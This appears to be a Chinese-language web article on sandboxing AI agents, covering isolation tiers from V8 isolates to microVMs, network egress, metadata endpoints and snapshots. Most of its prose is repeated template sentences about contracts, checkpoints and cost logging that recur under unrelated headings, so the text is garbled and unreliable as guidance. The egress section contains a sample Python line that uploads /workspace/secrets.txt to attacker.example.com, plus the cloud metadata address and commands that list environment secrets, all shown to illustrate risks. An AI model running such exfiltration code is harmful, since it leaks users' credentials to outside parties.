首页 / 文章 / 实用提示:每位AI工程师都应了解的关于智能体沙箱的5件事

实用提示:每位AI工程师都应了解的关于智能体沙箱的5件事

《实用笔记》操作指南:每位人工智能工程师都应了解的关于智能体沙箱的5个要点:适用于采用该模式的团队的合约、校验机制以及可直接插入的代码模块。

2982 词

以下笔记为“每位AI工程师都应了解的关于智能体沙箱的5件事”提供了一条实用的学习路径。重点在于契约、校验机制以及可直接插入的代码占位符,而非激励性表述。 在完成概览阶段时,首先明确契约内容:所需输入、成功信号以及部分失败时的处理方式。这样的清单能确保后续的代码修改保持一致性。 将此阶段视为输入与经过验证的输出之间的契约。为相关成果命名,定义成功校验标准,并杜绝默许的部分完成情况。

Think → Execute → Wait → Think → Execute → Wait

1. 冷启动数据很少能反映真实的智能体性能

将1次冷启动的测试结果视为可测量的指标时,往往能得到最佳效果。在扩大测试范围之前,先记录一个成功的案例、一个失败案例以及回滚说明。 在功能结果旁同时记录执行时间以及令牌或查询成本。提前了解成本情况,可避免在从演示环境过渡到共享环境时出现意外费用。 保持图表状态简洁且类型明确。嵌套的数据结构会掩盖是哪个节点修改了哪个字段,且在中断后会导致数据恢复失败。

Python
Node.js
npm packages
Python packages
environment variables
filesystem mounts
networking
data-science libraries
browser automation
Git
compilers

空循环基准测试

将空循环基准测试阶段视为可测量的对象时,其效果最佳。在扩大测试范围之前,需记录一份理想的测试结果、一个失败案例以及回滚说明。 配置应置于应用程序代码之外。环境文件、密钥存储和功能标志应集中存放,以便操作人员无需查看整个结构即可进行审计。 保持数据结构的层次简单且类型明确。嵌套的数据块会掩盖哪个节点修改了哪个字段的信息,还会导致在中断后无法继续执行。

time ./start-minimal-vm
150 ms
import pandas as pd
import numpy as np
import requests
data = pd.read_csv("dataset.csv")
print(data.describe())
print(2 + 2)

为何代理程序会使情况更糟

将这一阶段视为可度量的对象,Why agents才能发挥最佳作用。在扩大范围之前,需记录一份理想状态下的操作日志、一个故障案例以及回滚说明。同时文档化正常流程与恢复流程。重试机制、人工审核环节以及死信处理都是产品本身的一部分,而非后续需要补充的内容。保持图表状态简洁且类型明确,嵌套的数据结构会掩盖具体是哪个节点修改了哪个字段,还会导致中断后无法继续处理。将这一阶段视为输入与已验证输出之间的契约,为相关文档命名,明确成功标准,绝不允许出现无声无息的半完成状态。

Agent
  ↓
Create sandbox
  ↓
Initialize runtime
  ↓
Run command
  ↓
Destroy sandbox
Agent
  ↓
Create sandbox
  ↓
Initialize runtime
  ↓
Run command
  ↓
Destroy sandbox

更优的架构:温热沙箱

为构建更完善的架构测试阶段,应在修改代码之前明确输入参数、各步骤的负责人以及结束标准。操作人员应能够从已知的检查点重新运行相应步骤,而无需猜测隐藏状态。除了功能测试结果外,还需记录执行时间以及令牌或查询成本。提前了解这些成本信息,可避免在系统从演示环境过渡到共享环境时出现意外费用。对于那些会耗费资金或修改生产数据的操作,必须经过人工审批。仅靠编译时的配置并不足以确保业务的完整性。

┌── Warm Worker
Agent ───────────┼── Warm Worker
                 ├── Warm Worker
                 └── Warm Worker

应衡量的指标

在“需要衡量什么”这一阶段,应在修改代码之前明确输入参数、该步骤的负责人以及结束标准。操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。 配置信息应置于应用程序代码之外。环境文件、密钥存储以及功能开关应集中存放于一个位置,这样操作人员无需查看整个系统结构即可进行审计。 对于涉及资金支出或修改生产数据的流程节点,必须设置人工审批环节。编译时的连接方式并不能保证业务的完整性。

"How quickly can Linux boot?"
Agent request
    ↓
Sandbox allocation
    ↓
Filesystem ready
    ↓
Runtime ready
    ↓
Dependencies ready
    ↓
Network ready
    ↓
First command executed

2. 沙箱安全取决于你与相邻系统的信息共享程度

在第二个沙箱安全依赖阶段,修改代码之前需明确输入参数、该步骤的负责人以及结束标准。操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。 需同时记录正常流程与故障恢复路径。重试机制、人工审核环节以及错误处理都是产品本身的组成部分,而非后续需要补充的功能。 对于涉及资金支出或修改生产数据的操作,必须经过人工审批。编译时的连接方式并不等同于业务功能的完整性。 在第二个沙箱安全依赖阶段,修改代码之前需明确输入参数、该步骤的负责人以及结束标准。操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。 应将此阶段视为输入参数与经过验证的输出结果之间的契约。为相关成果命名,明确成功判定标准,绝不允许出现无声无息的半完成状态。

python generated_code.py
Host Linux Kernel
       │
 ┌─────┴─────┐
 │           │
Agent A    Agent B
Container  Container

沙箱隔离谱

在处理“沙箱隔离谱”阶段时,首先列出相关要求:所需输入、成功信号以及部分失败时的处理方式。这样的检查清单能确保后续的代码修改不会出错。 在功能结果旁记录执行时间以及令牌或查询成本。提前了解成本情况,可避免在从演示环境过渡到共享环境时出现意外费用。 在耗时较高的步骤之后设置检查点。当操作员重新尝试后续节点时,恢复流程不应再次收取相同的LLM调用费用。

第一层级:V8隔离环境与WebAssembly

在处理一级 V8 Isolates 阶段时,首先需写下相关契约:所需输入、成功信号以及部分失败时的处理方式。这样的检查清单能确保后续的代码修改保持一致性。 将配置信息置于应用程序代码之外。环境文件、密钥存储以及功能开关应集中存放于一个位置,以便操作员无需查看整个系统结构即可进行审计。 在耗时较高的步骤之后设置检查点。当操作员重新尝试后续节点时,恢复流程不应再次计费相同的 LLM 调用。

~milliseconds
gcc main.c
return userInput.toUpperCase();

二级:标准 OCI 容器

在处理二级标准OCI阶段时,首先需明确相关约定:所需的输入参数、成功标志以及部分失败时的处理方式。这样的清单能确保后续的代码修改保持一致性。 同时记录正常流程与故障恢复路径。重试机制、人工审核环节以及错误消息处理都是产品功能的一部分,而非后续需要补充的内容。 在成本较高的步骤之后设置检查点。当操作员重新尝试后续节点时,恢复流程不应再次对同一LLM调用收费。 在处理二级标准OCI阶段时,首先需明确相关约定:所需的输入参数、成功标志以及部分失败时的处理方式。这样的清单能确保后续的代码修改保持一致性。 将此阶段视为输入与验证后输出之间的契约。为相关成果命名,定义成功检测标准,并杜绝无声的半完成状态。

Docker
containerd
runc
Kubernetes Pods
Process isolation
Filesystem isolation
Resource limits
Network namespaces
python
node
gcc
git
bash

第三层:用户空间内核

将第三层的用户空间内核阶段视为可测量的对象来处理效果最佳。在扩大范围之前,先记录一份理想的测试案例、一个故障场景以及回滚说明。 在功能结果旁同时记录执行时间以及令牌或查询成本。提前了解成本情况,可避免在从演示环境过渡到共享环境时出现意外费用。 保持图表状态简洁且类型明确。嵌套的数据块会掩盖哪个节点修改了哪个字段的信息,还会在发生中断后导致流程无法继续。

Agent
  ↓
Container
  ↓
User-space kernel
  ↓
Host kernel
  ↓
Hardware

第四层:微虚拟机

将四级微虚拟机阶段视为可度量的对象来处理时,其效果最佳。在扩大范围之前,先记录一份理想的运行日志、一个故障案例以及回滚说明。 将配置与应用程序代码分开。环境文件、密钥存储和功能标志应集中存放于一个位置,这样操作人员无需查看整个架构就能进行审计。 保持架构状态的简洁性与类型化。嵌套的数据块会掩盖哪个节点修改了哪个字段的信息,且在中断后会导致恢复失败。

Agent
  ↓
Guest Linux Kernel
  ↓
Virtual Machine Boundary
  ↓
Host Kernel
  ↓
Hardware

3. 网络出口可能比沙箱逃逸更危险

将3 Network egress视为可度量的界面时,其功能实现效果最佳。在扩大范围之前,需记录一份理想状态下的完整日志、一个故障案例以及回滚说明。 同时记录正常流程与恢复流程。重试机制、人工审核环节以及死信处理都是产品本身的一部分,而非后续需要补充的内容。 保持图结构简洁且类型明确。嵌套的数据块会掩盖具体是哪个节点修改了哪个字段,还会导致中断后无法继续处理。 将3 Network egress视为可度量的界面时,其功能实现效果最佳。在扩大范围之前,需记录一份理想状态下的完整日志、一个故障案例以及回滚说明。 应将此阶段视为输入与已验证输出之间的契约。为相关工件命名,明确成功标准,绝不允许出现无声无息的半完成状态。

import requests
requests.post(
    "https://attacker.example.com/upload",
    files={"data": open("/workspace/secrets.txt", "rb")}
)
Read file
   ↓
HTTP request
   ↓
Attacker receives data

危险的元数据端点

在处理危险的元数据接口阶段时,应在修改代码之前明确输入参数、该步骤的负责人以及结束标准。操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。除了功能结果外,还需记录执行时间以及令牌或查询成本。提前了解成本情况可以避免在从演示环境过渡到共享环境时出现意外费用。对于会消耗资金或修改生产数据的操作,必须经过人工审批。仅靠编译时的配置并不足以确保业务的完整性。

169.254.169.254

默认拒绝应是你的起始原则

默认情况下应拒绝在未定义输入、步骤所有者及退出条件时就修改代码的行为。操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。 配置应置于应用程序代码之外。环境文件、密钥存储及功能标志应集中存放,以便操作人员无需查看整个流程即可进行审计。 对于涉及资金支出或修改生产数据的操作,必须经过人工审批。编译时的连接方式并不等同于业务流程的完整性。

ALLOW INTERNET
DENY ALL

切勿泄露环境变量

在“防止数据泄露”环境阶段,修改代码之前需明确输入参数、该步骤的负责人以及结束标准。操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。 需同时记录正常流程与异常恢复路径。重试机制、人工审核环节以及错误处理都是产品不可或缺的部分,而非后续需要补充的功能。 对于任何会耗费资金或修改生产数据的操作,都必须经过人工审批。仅靠编译时的配置并不能保证业务的完整性。 在“防止数据泄露”环境阶段,修改代码之前需明确输入参数、该步骤的负责人以及结束标准。操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。 应将此阶段视为输入与经过验证的输出之间的契约。为相关成果命名,明确成功判定标准,绝不允许出现无声无息的半完成状态。

export OPENAI_API_KEY="super-secret-key"
export AWS_SECRET_ACCESS_KEY="..."
export DATABASE_PASSWORD="..."
env

4. 状态快照的重要性可能超过启动时间

在处理四态快照时,首先需明确相关规范:所需输入、成功信号以及部分失败时的处理方式。这样的清单能确保后续的代码修改保持一致性。 在功能结果旁记录执行时间以及令牌或查询成本。提前了解成本情况,可避免在从演示环境过渡到共享环境时出现意外费用。 在耗时较高的步骤之后设置检查点。当操作员重新尝试后续节点时,恢复流程不应再次收取相同的LLM调用费用。

Turn 1
Read repository
Turn 2
Run tests
Turn 3
Tests fail
Turn 4
Edit code
Turn 5
Run tests again
Turn 6
Build application
/workspace
    ├── src/
    ├── package.json
    ├── tests/
    └── node_modules/
Keep VM alive
     ↓
Fast
     ↓
Expensive

Destroy VM
     ↓
Cheap
     ↓
Slow

输入快照

在进入快照生成阶段时,首先写下相关契约:所需的输入参数、成功信号以及部分失败时的处理方式。这样的清单能确保后续的代码修改保持一致性。 将配置信息与应用程序代码分开存放。环境文件、密钥存储以及功能开关应集中于一个位置,这样操作人员无需查看整个系统结构即可进行审计。 在耗时较高的步骤之后设置检查点。当操作人员重新执行后续节点时,恢复流程不应再次计费相同的大型语言模型调用。

Running Agent
      ↓
Memory + State
      ↓
Snapshot
      ↓
Object Storage
VM pauses
   ↓
Snapshot saved
   ↓
Resources released
Request
   ↓
Restore snapshot
   ↓
Continue execution
Fast resume
+
Persistent state
+
Lower idle cost

5. 用四个问题来选择合适的沙箱环境

在完成“5个使用场景与4个问题”这一阶段时,首先需写下相关契约:所需输入、成功标志以及部分失败时的处理方式。这样的清单能确保后续的代码修改保持一致性。 同时记录正常流程与异常恢复流程。重试机制、人工审核环节以及死信处理都是产品本身的组成部分,而非后续的优化工作。 在成本较高的步骤之后设置检查点。当操作员重新尝试某个节点时,恢复流程不应再次调用相同的大型语言模型。 在完成“5个使用场景与4个问题”这一阶段时,首先需写下相关契约:所需输入、成功标志以及部分失败时的处理方式。这样的清单能确保后续的代码修改保持一致性。 将这一阶段视为输入与经过验证的输出之间的契约。为相关成果命名,明确成功判定标准,并拒绝默许部分完成的情况。

问题1:该智能体需要哪种语言?

问题1:将语言层面视为可测量的指标时,哪个阶段最适用?在扩大范围之前,需记录一个成功的示例、一个失败的案例以及回滚说明。在功能结果旁还需记录执行时间以及令牌或查询成本。提前了解成本情况,可避免在从演示环境过渡到共享环境时出现意外费用。要保持图表状态简洁且类型明确,嵌套的数据块会掩盖是哪个节点修改了哪个字段,且在中断后还会导致状态无法恢复。

const result = calculateSomething(input);
python analysis.py
gcc main.c
git clone ...
npm install ...

问题2:这段代码可信吗?

问题二:将阶段工作视为可度量的表面时效果最佳。在扩大范围之前,先记录一个成功的案例、一个失败案例以及回滚说明。 将配置置于应用程序代码之外。环境文件、密钥存储和功能标志应集中存放于一个位置,以便操作员无需查看整个结构即可进行审计。 保持图结构的扁平化与类型化。嵌套的数据块会掩盖哪个节点修改了哪个字段的信息,且在中断后会导致恢复失败。

内部开发者代理

将内部开发者代理阶段视为可度量的对象时,其效果最佳。在扩大范围之前,需记录一份理想状态下的日志、一个故障案例以及回滚说明。 同时记录正常流程与恢复流程。重试机制、人工审核环节以及死信处理都是产品的一部分,而非后续需要补充的功能。 保持图表状态简洁且类型明确。嵌套的数据块会掩盖哪个节点修改了哪个字段的信息,还会在中断后导致无法继续处理。 将内部开发者代理阶段视为输入与已验证输出之间的契约。为相关工件命名,明确成功标准,绝不允许出现无声的半完成状态。

Developer
   ↓
Agent
   ↓
Hardened container

公共多租户代理

在公共多租户代理阶段,修改代码之前需明确输入参数、该步骤的负责人以及结束标准。操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。应在功能结果旁记录执行时间以及令牌或查询成本。提前了解成本情况,可避免在从演示环境切换到共享环境时出现意外账单。对于会产生费用或修改生产数据的操作,必须经过人工审批。编译时的配置并不等同于业务功能的完整性。

User
  ↓
LLM
  ↓
Generated Code
  ↓
Sandbox

问题3:你/组织的配置文件是怎样的?

对于第3题,修改代码之前需明确阶段定义、各步骤的负责人以及退出标准。操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。 配置信息应置于应用程序代码之外。环境文件、密钥存储以及功能标志应集中存放于一个位置,以便操作人员无需查看整个流程即可进行审计。 对于涉及资金支出或修改生产数据的操作,必须经过人工审批。编译时的连接方式并不等同于业务流程的完整性。

for x in data:
    calculate(x)
fork()
fork()
fork()
read()
write()
open()
close()
network()
network()
network()

第4题:是否需要专用的客户内核?

针对第4个问题:在修改代码之前,是否已对阶段进行规划、明确输入参数、指定该步骤的负责人以及设定退出标准?操作人员应能够从已知的检查点重新运行该步骤,而无需猜测隐藏状态。需同时记录正常流程与异常恢复流程。重试机制、人工审核环节以及错误处理措施都是产品本身的组成部分,而非后续需要补充的内容。对于那些会涉及资金支出或修改生产数据的操作,必须经过人工审批。编译时的配置并不等同于业务功能的完整性。

Custom kernel modules
Specialized Linux environments
Strong multi-tenant isolation
Hardware-level virtualization boundaries

操作检查清单